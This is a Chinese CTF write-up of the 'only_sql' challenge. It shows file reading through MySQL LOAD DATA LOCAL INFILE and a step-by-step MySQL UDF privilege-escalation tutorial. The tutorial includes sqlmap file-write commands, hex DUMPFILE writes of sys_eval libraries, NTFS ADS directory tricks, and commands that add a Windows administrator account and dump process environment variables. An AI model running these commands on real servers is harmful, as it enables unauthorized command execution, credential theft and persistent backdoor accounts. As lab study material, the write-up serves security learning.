第七届西湖论剑复现—only_sql By-south整理 参考: https://mp.weixin.qq.com/s/-3yim0oUpSoyp8jP_2dnwA
linux环境下的MySQL UDF提权 - 知乎 (zhihu.com)
第三方组件提权-Mysql UDF提权_udf提权和mysql版本有什么关系-CSDN博客
环境的搭建: 访问我的题目环境:
题目的要求就是先让我们连接一个数据库,这个数据库可以是任意的数据库,只要我们能够知道数据库的地址,用户名,密码,要连接的数据库名就可以,由于我们本身不知道,题目的数据库地址以及其他信息,所以我们现在只能连接自己已知道的数据库,比如我们的本地数据库,连接成功以后就可以对我们的数据库进行一切的操作(数据库支持的操作合法语句),即为我们提供了一个mysql的服务端,但由于本人比较菜,所以只写了一个简易的操作端口,用一个表单传递我们的数据库操作语句,在连接时直接进行操作。
我在我的本地数据库中创建了一张test表用于对环境的测试,现在我使用我的数据库信息,以及sql语句进行对环境的测试。
环境测试:
sql语句: 1 INSERT INTO test (text_field) VALUES ('flag{666}');
成功进行执行!!!
环境的基本运行逻辑就是这样,但是由于一些本地权限的配置,所以一些业务操作的数据库语句无法通过网络直接进行执行,所以我们只能在本地的mysql服务端中进行测试。
远程读客户端文件: 1 load data local infile "/var/www/html/query.php" into table test
使用题目环境成功连接我们的数据库服务端之后,我们可以使用load data,数据库操作语句读取题目网页的文件信息,即可以利用该操作,读取题目的query.php文件,该文件存在于/var/www/html/文件夹下。
本地测试: 创建一个文件在我们的apache服务端下: flag.txt:
现在使用mysql的文件下载操作,读取我们的flag.txt:
文件数据下载: 1 load data local infile "/var/www/html/flag.txt" into table test
成功将flag.txt文件下载到我们的test表的text_field字段中!!!
所以我们可以使用题目的mysql服务端下载题目网页中的文件:
1 load data local infile "/var/www/html/query.php" into table test;
query.php: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting (0 );$$db_host = $$_POST ["db_host" ];$$db_username = $$_POST ["db_username" ];$$db_password = $$_POST ["db_password" ];$$db_name = $$_POST ["db_name" ];if (isset ($db_host )){ try { $ dsn = "mysql:host= $db_host ;dbname=$db_name" ; $pdo = new PDO ($ dsn, $db_username , $ db_password); $pdo ->setAttribute (PDO::ATTR_ERRMODE , PDO::ERRMODE_EXCEPTION ); $ _SESSION['dsn' ]=$dsn ; $ _SESSION['db_username' ]=$db_username ; $ _SESSION['db_password' ]=$db_password ; } catch (Exception $ e) { die ($e ->getMessage ()); } }if (!isset ($_SESSION ['dsn' ])){ die ("<script>alert('请先连接数据库);window.location.href='index.php'</script>" ); }?>
通过代码审计我们得到了出题人提供的数据库信息:
1 2 3 4 // $db_host = '127.0.0.1'; // $db_username = 'root'; // $db_password = '1q2w3e4r5t!@#'; // $db_name = 'mysql';
所以我们可以使用该数据库信息去连接,从而去获取出题人的网页中的数据库信息以及文件信息。
plugin udf 提权 利用前提: 1 2 3 4 5 mysql < 5.0,导出路径随意 5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/) mysql >= 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。 拥有可以将udf.dll写入相应目录的权限
使用udf提权的一些操作: 查看靶机的mysql版本信息 (这里用本地的mysql代替):
1 2 mysql > SELECT VERSION();
数据库版本为10.11.5,因为MySQL >= 5.1已经是环境最苛刻的了,所以无法再进行本地测试了。
查询可写目录: 在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下表示可以向任意绝对路径写文件
1 2 mysql > show global variables like '%secure_file_priv%';
寻找插件目录: mysql数据库版本 >= 5.1,udf.dll 必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数,接下来去找dll文件
使用如下的 SQL 语句来查询MySQL的插件目录: 1 2 mysql > show variables like '%plugin%';
1 2 3 如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹 有一个问题需要注意:利用phpstudy安装的mysql,默认是不存在 \lib\plugin 这个文件夹的,如果目标安装的是完整版mysql数据库,是存在的,如果没有这个文件夹后边的操作就无法继续了
创建文件夹: 网上有个说法,利用NTFS ADS 流模式突破进而创建文件夹
使用语句查找MySQL安装目录: 1 2 mysql > select @@basedir;
1 2 3 4 5 6 7 8 9 mysql > select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'mysql安装目录\\lib::$INDEX_ALLOCATION'; select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录 select 'It is dll' into dumpfile 'mysql安装目录\\lib\\plugin::$INDEX_ALLOCATION';
如果真的没有\lib\plugin
还是可以尝试,但是不一定成功。
写入动态链接库文件: 第一种情况: 1 1.如果拿到了网站的webshell,可以直接通过webshell管理工具比如蚁剑等,直接找到目录上传dll文件
第二种情况: 1 2.存在 SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制(HTTP本身并未对请求长度施加任何硬编码的限制,但浏览器的限制范围为2kb-8kb)所以往往 POST 注入才可以执行这种攻击
payload: 1 sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll" --file-dest="c:\\ZkeysSoft\\MySql\\MySQL Server 5.1\\lib\\plugin\\udf.dll"
第三种情况: 1 如果没有注入的话,但是通过爆破密码、phpmyadmin漏洞以及通过webshell等手段,可以执行sql语句,也是可以可以操作原生 SQL 语句手工写文件到 plugin 目录下的
payload: 1 2 3 4 5 6 mysql > # 直接 SELECT 查询十六进制写入 SELECT 0xcode INTO DUMPFILE 'c:\\ZkeysSoft\\MySql\\MySQL Server 5.1\\lib\\plugin\\udf.dll'; # 解码十六进制再写入多此一举 SELECT unhex('0xcode') INTO DUMPFILE 'c:\\ZkeysSoft\\MySql\\MySQL Server 5.1\\lib\\plugin\\udf.dll';
关于十六进制可以直接这这个页面查询到对应的编码:https://www.sqlsec.com/tools/udf.html
一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:
1 2 3 4 5 6 7 8 mysql > SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt'; SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt'; 0x2f6c69625f6d7973716c7564665f7379735f36342e736f => /lib_mysqludf_sys_64.so
将lib_mysqludf_sys_64.so文件中的内容进行16进制加密之后存入/tmp/udf.txt文件中
上传库文件到被攻击的数据库plugin目录下,文件名可以任意取: 1 2 3 4 select unhex('7F454C46020...') into dumpfile '/usr/local/Cellar/mysql/5.7.22/lib/plugin/mysqludf.so'; 假设/tmp/udf.txt文件中的16进制内容为xxx,则就是将xxx16进制解码后放入plugin目录下的mysqludf.so,如果plugin文件夹下不存在mysqludf.so文件,则会自动生成 select unhex('xxx') into dumpfile '/usr/local/Cellar/mysql/5.7.22/lib/plugin/mysqludf.so';
创建自定义函数并调用命令: 1 2 mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:
1 2 mysql> select * from mysql.func;
正确的回显:
如果不成功的话,是因为dll版本不符。
通过创建的这个函数来执行系统命令了: 1 2 mysql > select sys_eval('whoami');
如果在 Windows 系统下的话应该就是最高权限了,执行一些 net user 增加用户的命令应该都是可以成功的:
1 2 3 SELECT sys_eval( 'net user ocean1 ocean1 /add & net localgroup administrators ocean1 /add' )
上传udf库文件: 获取plugin路径: 1 2 mysql> show variables like "%plugin%";
获取服务器版本信息: 1 2 mysql> show variables like 'version_compile_%';
准备udf库文件(动态链接库文件): 常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件,可以直接找
sqlmap 的 UDF 动态链接库文件位置: 1 2 3 4 5 sqlmap中有现成的udf文件。分别是32位和64位的。这里选择 sqlmap根目录/data/udf/mysql sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_。 # kali的sqlmap在/usr/share/sqlmap目录
有32位和64位之分,这个dll并不是跟系统位数有关的,而是跟mysql版本有关系
要注意的是Sqlmap中自带的动态链接库文件为了防止被误杀都经过编码处理过,不能被直接使用,需要使用 sqlmap 自带的解码工具cloak.py 来解码使用:
1 2 3 4 5 # 脚本位置 /usr/share/sqlmap/extra/cloak/ # 执行 python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ # 进行dll_文件的解码,获得dll文件
此时会在相同目录生成解密后的lib_mysqludf_sys.so。
1 2 3 4 5 6 usr/share/metasploit-framework/data/exploits/mysql # kali自带的msf 在kali的/usr/share/metasploit-framework/data/exploits/mysql目录下找到相应的库即可。 这个库和sqlmap解密后的一模一样。
获取库文件的16进制: 1 select hex(load_file('/security/ctf/tools_bar/4_注入攻击/SQLI/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';
创建函数: 先在本地 查看有哪些函数可用:
1 nm -D lib_mysqludf_sys.so
输出结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 w _Jv_RegisterClasses 0000000000201788 A __bss_start w __cxa_finalize w __gmon_start__ 0000000000201788 A _edata 0000000000201798 A _end 0000000000001178 T _fini 0000000000000ba0 T _init U fgets U fork U free U getenv 000000000000101a T lib_mysqludf_sys_info 0000000000000da4 T lib_mysqludf_sys_info_deinit 0000000000001047 T lib_mysqludf_sys_info_init U malloc U mmap U pclose U popen U realloc U setenv U strcpy U strncpy 0000000000000dac T sys_bineval 0000000000000dab T sys_bineval_deinit 0000000000000da8 T sys_bineval_init 0000000000000e46 T sys_eval 0000000000000da7 T sys_eval_deinit 0000000000000f2e T sys_eval_init 0000000000001066 T sys_exec 0000000000000da6 T sys_exec_deinit 0000000000000f57 T sys_exec_init 00000000000010f7 T sys_get 0000000000000da5 T sys_get_deinit 0000000000000fea T sys_get_init 000000000000107a T sys_set 00000000000010e8 T sys_set_deinit 0000000000000f80 T sys_set_init U sysconf U system U waitpid
创建sys_eval
函数: 1 create function sys_eval returns string soname "mysqludf.so";
删除自定义函数: 1 2 mysql > drop function sys_eval;
总结: 1 2 常规SQLMAP的--OS-SHELL流程大致为:利用SELECT … INTO OUTFILE … LINES TERMINATED BY上传小马(仅上传功能) -> 利用小马上传Webshell(可使用system、proc_open、shell_exec、passthru、popen、exec执行命令) -> 利用Webshell执行命令(明文参数cmd=whoami) 现在大多数Mysql版本都大于5.1,版本大于5.1后对于提权的条件很苛刻,所以大多数情况下都没办法使用udf进行一个提权
only_sql题目复现: 第一步:使用如下的 SQL 语句来查询MySQL的插件目录: 1 2 mysql> show variables like '%plugin%';
plugin 目录被改了:
第二步:写入动态链接库文件: 1 2 select unhex('xxx') into dumpfile '/usr/lib/mysql/p1ugin/hacker.so'; //xxx为上述中/tmp/udf.txt文件夹下的16进制加密内容,这里取名上传的配置文件为hacker.so
第三步:创建一个可以进行命令执行的函数: 1 2 //使用上传的hacker.so创建一个命令执行函数 create function sys_eval returns string soname 'hacker.so';
第四步:RCE: 1 2 mysql> select sys_eval('cat /proc/self/environ';)
获取flag